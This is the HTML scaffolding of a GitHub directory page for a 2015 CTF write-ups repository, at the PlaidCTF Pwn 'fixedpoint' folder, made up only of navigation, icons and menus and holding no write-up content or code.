7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this organization </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> TUCTF </span> <span>/</span> write-ups-2015
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>2</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>3</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75A.75.75 0 0 1 .75 1h4.253c1.227 0 2.317.59 3 1.501A3.743 3.743 0 0 1 11.006 1h4.245a.75.75 0 0 1 .75.75v10.5a.75.75 0 0 1-.75.75h-4.507a2.25 2.25 0 0 0-1.591.659l-.622.621a.75.75 0 0 1-1.06 0l-.622-.621A2.25 2.25 0 0 0 5.258 13H.75a.75.75 0 0 1-.75-.75Zm7.251 10.324.004-5.073-.002-2.253A2.25 2.25 0 0 0 5.003 2.5H1.5v9h3.757a3.75 3.75 0 0 1 1.994.574ZM8.755 4.75l-.004 7.322a3.752 3.752 0 0 1 1.992-.572H14.5v-9h-3.495a2.25 2.25 0 0 0-2.25 2.25Z"></path></svg> <span>Wiki</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/TUCTF/write-ups-2015/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":33342134,"originating_url":"https://github.com/TUCTF/write-ups-2015/tree/master/PlaidCTF/Pwn/fixedpoint","user_id":null}}" data-hydro-click-hmac="6a96d183f464be7ccb4fa975c49f8b1df2160b6521a2f8b1db1a9a0d59c29db7"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/TUCTF/write-ups-2015/refs" cache-key="v0:1428027833.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="VFVDVEYvd3JpdGUtdXBzLTIwMTU=" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/TUCTF/write-ups-2015/refs" cache-key="v0:1428027833.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="VFVDVEYvd3JpdGUtdXBzLTIwMTU=" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>write-ups-2015</span></span></span><span>/</span><span><span>PlaidCTF</span></span><span>/</span><span><span>Pwn</span></span><span>/</span>fixedpoint<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>write-ups-2015</span></span></span><span>/</span><span><span>PlaidCTF</span></span><span>/</span><span><span>Pwn</span></span><span>/</span>fixedpoint<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/TUCTF/write-ups-2015/tree-commit/33ffee907ce7318c73365ebf5d36ecccc41c2956/PlaidCTF/Pwn/fixedpoint" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
